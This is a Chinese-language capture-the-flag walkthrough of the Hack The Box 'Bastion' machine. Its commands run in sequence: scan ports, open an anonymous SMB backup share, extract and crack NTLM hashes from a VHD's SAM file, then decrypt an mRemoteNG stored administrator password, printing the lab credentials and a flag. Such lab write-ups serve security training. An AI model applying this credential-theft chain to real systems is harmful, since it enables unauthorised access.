目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

将靶机TCP开放端口号提取并保存

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用enum4linux对靶机SMB共享进行枚举

使用smbclient连接靶机Backups共享

边界突破

在Windows资源管理器地址栏中输入：\\10.10.10.134\Backups访问共享

使用7z打开体积更大一些的.vhd文件

尝试寻找该虚拟机的SAM、SYSTEM文件

分别右键这两个文件，将其复制到本地

使用samdump2对配置文件中的哈希密码进行提取

将哈希值写入文件中以便爆破

使用john对该哈希值进行字典爆破

使用上述凭证登录靶机SSH服务

权限提升

使用smbmap通过上述凭证对靶机SMB共享再次枚举

查看靶机内存在的用户

查看当前用户信息

查看当前用户特权

列出靶机安装的软件

询问大模型该软件将用户敏感信息都存哪了

回到当前用户主目录

列出当前目录所有文件

再次询问大模型，confCons.xml通常用来存储什么信息

通过Linux命令将该目录及其文件路径进行转换

将confCons.xml文件下载到本地

我尝试在Github上查找该软件的哈希解密工具

​编辑

将其下载后，我首先查看该脚本使用手册

使用该凭证登录到靶机SSH服务

---

连接至HTB服务器并启动靶机

靶机IP：10.10.10.134

分配IP：10.10.16.13

---

信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.10.134 -r 1-65535 --ulimit 5000 | tee res

将靶机TCP开放端口号提取并保存

ports=$(grep '^[0-9]' res | cut -d/ -f1 | paste -sd,)

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep '^[0-9]' res | cut -d/ -f1 | paste -sd,
22,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670
                                                                                                                               
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep '^[0-9]' res | cut -d/ -f1 | paste -sd,)
                                                                                                                               
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
22,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -sT -p$ports -sCV -Pn 10.10.10.134

• 需要重点关注的服务

22：SSH服务

445：SMB服务

5985：Win-RM服务

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

nmap -sT -p$ports --script=vuln -O -Pn 10.10.10.134

使用nmap对靶机常用UDP端口进行开放扫描

nmap -sU --top-ports 20 -Pn 10.10.10.134

使用enum4linux对靶机SMB共享进行枚举

enum4linux -u 'root' -S 10.10.10.134 

• 由枚举结果可见，靶机Backups共享允许访问

使用smbclient连接靶机Backups共享

smbclient -N \\\\10.10.10.134\\Backups

• 在主目录可见一个笔记文件note.txt

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# smbclient -N \\\\10.10.10.134\\Backups
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Apr 16 06:02:11 2019
  ..                                  D        0  Tue Apr 16 06:02:11 2019
  note.txt                           AR      116  Tue Apr 16 06:10:09 2019
  SDT65CB.tmp                         A        0  Fri Feb 22 07:43:08 2019
  WindowsImageBackup                 Dn        0  Fri Feb 22 07:44:02 2019

                5638911 blocks of size 4096. 1177893 blocks available

• 将其下载并暂时退出SMB服务连接

smb: \> get note.txt
getting file \note.txt of size 116 as note.txt (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
smb: \> exit

• 查看该笔记内容

cat note.txt

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat note.txt   

Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow.

翻译：系统管理员：请不要在本地传输整个备份文件，VPN到子公司太慢了。

• 在\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\目录下可见两个.vhd文件

在虚拟机技术中，.vhd（Virtual Hard Disk）是微软开发的一种虚拟硬盘文件格式，用于存储虚拟机的磁盘数据，像在 Hyper-V 等虚拟机环境中，它能完整模拟物理硬盘功能，保存操作系统、应用程序和用户数据 。

---

边界突破

在Windows资源管理器地址栏中输入：\\10.10.10.134\Backups访问共享

使用7z打开体积更大一些的.vhd文件

尝试寻找该虚拟机的SAM、SYSTEM文件

• SAM、SYSTEM默认存储路径：C:\Windows\System32\config

分别右键这两个文件，将其复制到本地

• 快捷键：对着文件右键后+按F5

使用samdump2对配置文件中的哈希密码进行提取

samdump2 SYSTEM SAM

• 提取出来的哈希值

*disabled* Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::

• 其中，Administrator、Guest都显示账户已停用，因此我们只需对L4mpje账户密码破解即可

将哈希值写入文件中以便爆破

echo 'L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::' > hash

使用john对该哈希值进行字典爆破

john hash --wordlist=../dictionary/rockyou.txt --format=nt

账户：L4mpje

密码：bureaulampje

使用上述凭证登录靶机SSH服务

ssh L4mpje@10.10.10.134

Microsoft Windows [Version 10.0.14393]                                                           
(c) 2016 Microsoft Corporation. All rights reserved.

l4mpje@BASTION C:\Users\L4mpje>whoami
bastion\l4mpje

l4mpje@BASTION C:\Users\L4mpje>

• 在C:\Users\L4mpje\Desktop目录下可找到user.txt文件

l4mpje@BASTION C:\Users\L4mpje\Desktop>dir

 Volume in drive C has no label.

Volume Serial Number is 1B7D-E692

Directory of C:\Users\L4mpje\Desktop

22-02-2019  15:27    <DIR>          .
22-02-2019  15:27    <DIR>          ..
12-01-2025  08:10                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   4.824.010.752 bytes free

l4mpje@BASTION C:\Users\L4mpje\Desktop>type user.txt

8e22e1e1e830fe4474ae632dc76a1e56

---

权限提升

使用smbmap通过上述凭证对靶机SMB共享再次枚举

smbmap -u L4mpje -p bureaulampje -H 10.10.10.134

• 由输出可见，跟一开始使用root账户及其空密码枚举出来的共享没任何区别

查看靶机内存在的用户

net user

查看当前用户信息

net user L4mpje

• 可见该用户不属于任何特权组

查看当前用户特权

whoami /priv

• 切换到powershell

列出靶机安装的软件

ls "C:\Program Files (x86)"

• 由输出可见，靶机安装了mRemoteNG，这是一款开源的终端管理工具类似tabby、windterm等，因此该软件的登录历史很可能记录着靶机管理员凭证

询问大模型该软件将用户敏感信息都存哪了

回到当前用户主目录

cd ~

列出当前目录所有文件

dir /a

• 由输出可见AppData目录，那就尝试直接进入%APPDATA%\mRemoteNG目录中

cd %APPDATA%\mRemoteNG

• 显然，该目录下以.xml结尾的文件及其备份都有可能存储着用户敏感信息

再次询问大模型，confCons.xml通常用来存储什么信息

• 存储用户认证？那就对了

通过Linux命令将该目录及其文件路径进行转换

echo -E 'L4mpje@10.10.10.134:C:\Users\L4mpje\AppData\Roaming\mRemoteNG\confCons.xml' | tr '\\' '/'

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo -E 'L4mpje@10.10.10.134:C:\Users\L4mpje\AppData\Roaming\mRemoteNG\confCons.xml' | tr '\\' '/'
L4mpje@10.10.10.134:C:/Users/L4mpje/AppData/Roaming/mRemoteNG/confCons.xml

将confCons.xml文件下载到本地

scp L4mpje@10.10.10.134:C:/Users/L4mpje/AppData/Roaming/mRemoteNG/confCons.xml .

• 查看该文件内容

cat confCons.xml

<?xml version="1.0" encoding="utf-8"?>
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GCM" KdfIterations="1000" FullFileEncryption="false" Protected="ZSvKI7j224Gf/twXpaP5G2QFZMLr1iO1f5JKdtIKL6eUg+eWkL5tKO886au0ofFPW0oop8R8ddXKAx4KK7sAk6AA" ConfVersion="2.6">
    <Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4f547a3fee" Username="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==" Hostname="127.0.0.1" Protocol="RDP" PuttySession="Default Settings" Port="3389" ConnectToConsole="false" UseCredSsp="true" RenderingEngine="IE" ICAEncryptionStrength="EncrBasic" RDPAuthenticationLevel="NoAuth" RDPMinutesToIdleTimeout="0" RDPAlertIdleTimeout="false" LoadBalanceInfo="" Colors="Colors16Bit" Resolution="FitToWindow" AutomaticResize="true" DisplayWallpaper="false" DisplayThemes="false" EnableFontSmoothing="false" EnableDesktopComposition="false" CacheBitmaps="false" RedirectDiskDrives="false" RedirectPorts="false" RedirectPrinters="false" RedirectSmartCards="false" RedirectSound="DoNotPlay" SoundQuality="Dynamic" RedirectKeys="false" Connected="false" PreExtApp="" PostExtApp="" MacAddress="" UserField="" ExtApp="" VNCCompression="CompNone" VNCEncoding="EncHextile" VNCAuthMode="AuthVNC" VNCProxyType="ProxyNone" VNCProxyIP="" VNCProxyPort="0" VNCProxyUsername="" VNCProxyPassword="" VNCColors="ColNormal" VNCSmartSizeMode="SmartSAspect" VNCViewOnly="false" RDGatewayUsageMethod="Never" RDGatewayHostname="" RDGatewayUseConnectionCredentials="Yes" RDGatewayUsername="" RDGatewayPassword="" RDGatewayDomain="" InheritCacheBitmaps="false" InheritColors="false" InheritDescription="false" InheritDisplayThemes="false" InheritDisplayWallpaper="false" InheritEnableFontSmoothing="false" InheritEnableDesktopComposition="false" InheritDomain="false" InheritIcon="false" InheritPanel="false" InheritPassword="false" InheritPort="false" InheritProtocol="false" InheritPuttySession="false" InheritRedirectDiskDrives="false" InheritRedirectKeys="false" InheritRedirectPorts="false" InheritRedirectPrinters="false" InheritRedirectSmartCards="false" InheritRedirectSound="false" InheritSoundQuality="false" InheritResolution="false" InheritAutomaticResize="false" InheritUseConsoleSession="false" InheritUseCredSsp="false" InheritRenderingEngine="false" InheritUsername="false" InheritICAEncryptionStrength="false" InheritRDPAuthenticationLevel="false" InheritRDPMinutesToIdleTimeout="false" InheritRDPAlertIdleTimeout="false" InheritLoadBalanceInfo="false" InheritPreExtApp="false" InheritPostExtApp="false" InheritMacAddress="false" InheritUserField="false" InheritExtApp="false" InheritVNCCompression="false" InheritVNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyType="false" InheritVNCProxyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="false" InheritVNCProxyPassword="false" InheritVNCColors="false" InheritVNCSmartSizeMode="false" InheritVNCViewOnly="false" InheritRDGatewayUsageMethod="false" InheritRDGatewayHostname="false" InheritRDGatewayUseConnectionCredentials="false" InheritRDGatewayUsername="false" InheritRDGatewayPassword="false" InheritRDGatewayDomain="false" />
    <Node Name="L4mpje-PC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="8d3579b2-e68e-48c1-8f0f-9ee1347c9128" Username="L4mpje" Domain="" Password="yhgmiu5bbuamU3qMUKc/uYDdmbMrJZ/JvR1kYe4Bhiu8bXybLxVnO0U9fKRylI7NcB9QuRsZVvla8esB" Hostname="192.168.1.75" Protocol="RDP" PuttySession="Default Settings" Port="3389" ConnectToConsole="false" UseCredSsp="true" RenderingEngine="IE" ICAEncryptionStrength="EncrBasic" RDPAuthenticationLevel="NoAuth" RDPMinutesToIdleTimeout="0" RDPAlertIdleTimeout="false" LoadBalanceInfo="" Colors="Colors16Bit" Resolution="FitToWindow" AutomaticResize="true" DisplayWallpaper="false" DisplayThemes="false" EnableFontSmoothing="false" EnableDesktopComposition="false" CacheBitmaps="false" RedirectDiskDrives="false" RedirectPorts="false" RedirectPrinters="false" RedirectSmartCards="false" RedirectSound="DoNotPlay" SoundQuality="Dynamic" RedirectKeys="false" Connected="false" PreExtApp="" PostExtApp="" MacAddress="" UserField="" ExtApp="" VNCCompression="CompNone" VNCEncoding="EncHextile" VNCAuthMode="AuthVNC" VNCProxyType="ProxyNone" VNCProxyIP="" VNCProxyPort="0" VNCProxyUsername="" VNCProxyPassword="" VNCColors="ColNormal" VNCSmartSizeMode="SmartSAspect" VNCViewOnly="false" RDGatewayUsageMethod="Never" RDGatewayHostname="" RDGatewayUseConnectionCredentials="Yes" RDGatewayUsername="" RDGatewayPassword="" RDGatewayDomain="" InheritCacheBitmaps="false" InheritColors="false" InheritDescription="false" InheritDisplayThemes="false" InheritDisplayWallpaper="false" InheritEnableFontSmoothing="false" InheritEnableDesktopComposition="false" InheritDomain="false" InheritIcon="false" InheritPanel="false" InheritPassword="false" InheritPort="false" InheritProtocol="false" InheritPuttySession="false" InheritRedirectDiskDrives="false" InheritRedirectKeys="false" InheritRedirectPorts="false" InheritRedirectPrinters="false" InheritRedirectSmartCards="false" InheritRedirectSound="false" InheritSoundQuality="false" InheritResolution="false" InheritAutomaticResize="false" InheritUseConsoleSession="false" InheritUseCredSsp="false" InheritRenderingEngine="false" InheritUsername="false" InheritICAEncryptionStrength="false" InheritRDPAuthenticationLevel="false" InheritRDPMinutesToIdleTimeout="false" InheritRDPAlertIdleTimeout="false" InheritLoadBalanceInfo="false" InheritPreExtApp="false" InheritPostExtApp="false" InheritMacAddress="false" InheritUserField="false" InheritExtApp="false" InheritVNCCompression="false" InheritVNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyType="false" InheritVNCProxyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="false" InheritVNCProxyPassword="false" InheritVNCColors="false" InheritVNCSmartSizeMode="false" InheritVNCViewOnly="false" InheritRDGatewayUsageMethod="false" InheritRDGatewayHostname="false" InheritRDGatewayUseConnectionCredentials="false" InheritRDGatewayUsername="false" InheritRDGatewayPassword="false" InheritRDGatewayDomain="false" />
</mrng:Connections>

• 对该文件内容简单查看可得Administrator用户密码哈希

aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==

• 这看起来不像任何我见过的密文

我尝试在Github上查找该软件的哈希解密工具

将其下载后，我首先查看该脚本使用手册

python mremoteng_decrypt.py -h

• 由输出可知，使用-s选项输入base64密文，尝试使用该工具进行密文破解

python mremoteng_decrypt.py -s 'aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=='

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# python mremoteng_decrypt.py -s 'aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=='
Password: thXLHM96BeKL0ER2

• 获得Administrator凭证

账户：Administrator

密码：thXLHM96BeKL0ER2

使用该凭证登录到靶机SSH服务

ssh Administrator@10.10.10.134

Microsoft Windows [Version 10.0.14393]

(c) 2016 Microsoft Corporation. All rights reserved.

administrator@BASTION C:\Users\Administrator>whoami

bastion\administrator

• 在C:\Users\Administrator\Desktop目录下找到root.txt文件